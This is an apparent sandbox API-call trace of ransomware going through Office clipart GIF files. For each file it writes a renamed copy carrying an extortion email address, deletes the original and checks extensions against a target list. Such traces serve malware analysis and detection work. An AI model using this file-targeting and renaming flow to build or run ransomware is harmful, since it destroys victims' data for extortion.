	[0254.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.075] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.075] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0254.086] GetLastError () returned 0x0
	[0254.086] ReadFile (in: hFile=0x350, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x47a, lpOverlapped=0x0) returned 1
	[0254.087] WriteFile (in: hFile=0x334, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x480, lpOverlapped=0x0) returned 1
	[0254.090] ReadFile (in: hFile=0x350, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.090] WriteFile (in: hFile=0x334, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.090] SetEndOfFile (hFile=0x334) returned 1
	[0254.090] CloseHandle (hObject=0x334) returned 1
	[0254.090] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.091] SetEndOfFile (hFile=0x350) returned 1
	[0254.095] CloseHandle (hObject=0x350) returned 1
	[0254.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.124] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 1
	[0254.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63
	[0254.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63
	[0254.124] lstrlenW (lpString=".doc") returned 4
	[0254.124] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.124] lstrlenW (lpString=".docx") returned 5
	[0254.124] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.124] lstrlenW (lpString=".pdf") returned 4
	[0254.124] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.124] lstrlenW (lpString=".xls") returned 4
	[0254.124] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.124] lstrlenW (lpString=".xlsx") returned 5
	[0254.124] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.124] lstrlenW (lpString=".ppt") returned 4
	[0254.124] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63
	[0254.124] lstrlenW (lpString=".zip") returned 4
	[0254.125] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.125] lstrlenW (lpString=".rar") returned 4
	[0254.125] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.125] lstrlenW (lpString=".bz2") returned 4
	[0254.125] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.125] lstrlenW (lpString=".7z") returned 3
	[0254.125] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63
	[0254.125] lstrlenW (lpString=".dbf") returned 4
	[0254.125] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63
	[0254.125] lstrlenW (lpString=".1cd") returned 4
	[0254.125] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63
	[0254.125] lstrlenW (lpString=".jpg") returned 4
	[0254.125] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63
	[0254.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63
	[0254.126] lstrlenW (lpString=".doc") returned 4
	[0254.126] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.126] lstrlenW (lpString=".docx") returned 5
	[0254.126] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.126] lstrlenW (lpString=".pdf") returned 4
	[0254.126] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.126] lstrlenW (lpString=".xls") returned 4
	[0254.126] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.126] lstrlenW (lpString=".xlsx") returned 5
	[0254.126] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.126] lstrlenW (lpString=".ppt") returned 4
	[0254.126] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63
	[0254.126] lstrlenW (lpString=".zip") returned 4
	[0254.126] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.126] lstrlenW (lpString=".rar") returned 4
	[0254.126] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.126] lstrlenW (lpString=".bz2") returned 4
	[0254.126] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.126] lstrlenW (lpString=".7z") returned 3
	[0254.126] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63
	[0254.126] lstrlenW (lpString=".dbf") returned 4
	[0254.126] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63
	[0254.126] lstrlenW (lpString=".1cd") returned 4
	[0254.126] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63
	[0254.126] lstrlenW (lpString=".jpg") returned 4
	[0254.126] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.127] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0254.127] lstrlenW (lpString="AG00164_.GIF") returned 12
	[0254.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.130] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=13254) returned 1
	[0254.130] CloseHandle (hObject=0x350) returned 1
	[0254.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 0x20
	[0254.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.130] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.130] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.131] GetLastError () returned 0x0
	[0254.131] ReadFile (in: hFile=0x350, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x33c6, lpOverlapped=0x0) returned 1
	[0254.132] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x33d0, lpOverlapped=0x0) returned 1
	[0254.133] ReadFile (in: hFile=0x350, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.133] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.134] SetEndOfFile (hFile=0x330) returned 1
	[0254.134] CloseHandle (hObject=0x330) returned 1
	[0254.134] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.134] SetEndOfFile (hFile=0x350) returned 1
	[0254.136] CloseHandle (hObject=0x350) returned 1
	[0254.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.137] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 1
	[0254.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63
	[0254.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63
	[0254.137] lstrlenW (lpString=".doc") returned 4
	[0254.137] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.137] lstrlenW (lpString=".docx") returned 5
	[0254.137] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.137] lstrlenW (lpString=".pdf") returned 4
	[0254.137] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.137] lstrlenW (lpString=".xls") returned 4
	[0254.137] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.137] lstrlenW (lpString=".xlsx") returned 5
	[0254.137] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.137] lstrlenW (lpString=".ppt") returned 4
	[0254.137] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63
	[0254.138] lstrlenW (lpString=".zip") returned 4
	[0254.138] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.138] lstrlenW (lpString=".rar") returned 4
	[0254.138] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.138] lstrlenW (lpString=".bz2") returned 4
	[0254.138] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.138] lstrlenW (lpString=".7z") returned 3
	[0254.138] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63
	[0254.138] lstrlenW (lpString=".dbf") returned 4
	[0254.138] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63
	[0254.138] lstrlenW (lpString=".1cd") returned 4
	[0254.138] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63
	[0254.138] lstrlenW (lpString=".jpg") returned 4
	[0254.138] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63
	[0254.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63
	[0254.138] lstrlenW (lpString=".doc") returned 4
	[0254.138] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.138] lstrlenW (lpString=".docx") returned 5
	[0254.138] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.138] lstrlenW (lpString=".pdf") returned 4
	[0254.139] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.139] lstrlenW (lpString=".xls") returned 4
	[0254.139] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.139] lstrlenW (lpString=".xlsx") returned 5
	[0254.139] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.139] lstrlenW (lpString=".ppt") returned 4
	[0254.139] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63
	[0254.139] lstrlenW (lpString=".zip") returned 4
	[0254.139] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.139] lstrlenW (lpString=".rar") returned 4
	[0254.139] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.139] lstrlenW (lpString=".bz2") returned 4
	[0254.139] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.139] lstrlenW (lpString=".7z") returned 3
	[0254.139] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63
	[0254.139] lstrlenW (lpString=".dbf") returned 4
	[0254.139] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63
	[0254.139] lstrlenW (lpString=".1cd") returned 4
	[0254.139] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63
	[0254.139] lstrlenW (lpString=".jpg") returned 4
	[0254.139] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.139] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0254.139] lstrlenW (lpString="AG00165_.GIF") returned 12
	[0254.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.140] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=8582) returned 1
	[0254.140] CloseHandle (hObject=0x350) returned 1
	[0254.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 0x20
	[0254.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.141] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.141] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.141] GetLastError () returned 0x0
	[0254.141] ReadFile (in: hFile=0x350, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x2186, lpOverlapped=0x0) returned 1
	[0254.143] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x2190, lpOverlapped=0x0) returned 1
	[0254.144] ReadFile (in: hFile=0x350, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.144] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.144] SetEndOfFile (hFile=0x330) returned 1
	[0254.144] CloseHandle (hObject=0x330) returned 1
	[0254.144] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.144] SetEndOfFile (hFile=0x350) returned 1
	[0254.147] CloseHandle (hObject=0x350) returned 1
	[0254.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.147] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 1
	[0254.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63
	[0254.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63
	[0254.147] lstrlenW (lpString=".doc") returned 4
	[0254.147] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.147] lstrlenW (lpString=".docx") returned 5
	[0254.147] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.147] lstrlenW (lpString=".pdf") returned 4
	[0254.147] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.148] lstrlenW (lpString=".xls") returned 4
	[0254.148] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.148] lstrlenW (lpString=".xlsx") returned 5
	[0254.148] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.148] lstrlenW (lpString=".ppt") returned 4
	[0254.148] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63
	[0254.148] lstrlenW (lpString=".zip") returned 4
	[0254.148] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.148] lstrlenW (lpString=".rar") returned 4
	[0254.148] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.148] lstrlenW (lpString=".bz2") returned 4
	[0254.148] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.148] lstrlenW (lpString=".7z") returned 3
	[0254.148] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63
	[0254.148] lstrlenW (lpString=".dbf") returned 4
	[0254.148] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63
	[0254.148] lstrlenW (lpString=".1cd") returned 4
	[0254.148] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63
	[0254.148] lstrlenW (lpString=".jpg") returned 4
	[0254.148] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63
	[0254.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63
	[0254.149] lstrlenW (lpString=".doc") returned 4
	[0254.149] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.149] lstrlenW (lpString=".docx") returned 5
	[0254.149] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.149] lstrlenW (lpString=".pdf") returned 4
	[0254.149] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.149] lstrlenW (lpString=".xls") returned 4
	[0254.149] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.149] lstrlenW (lpString=".xlsx") returned 5
	[0254.149] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.149] lstrlenW (lpString=".ppt") returned 4
	[0254.149] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63
	[0254.149] lstrlenW (lpString=".zip") returned 4
	[0254.149] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.149] lstrlenW (lpString=".rar") returned 4
	[0254.149] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.149] lstrlenW (lpString=".bz2") returned 4
	[0254.149] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.149] lstrlenW (lpString=".7z") returned 3
	[0254.149] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63
	[0254.149] lstrlenW (lpString=".dbf") returned 4
	[0254.149] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63
	[0254.149] lstrlenW (lpString=".1cd") returned 4
	[0254.149] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63
	[0254.149] lstrlenW (lpString=".jpg") returned 4
	[0254.149] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.150] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0254.150] lstrlenW (lpString="AG00167_.GIF") returned 12
	[0254.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.150] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=4894) returned 1
	[0254.150] CloseHandle (hObject=0x350) returned 1
	[0254.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 0x20
	[0254.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
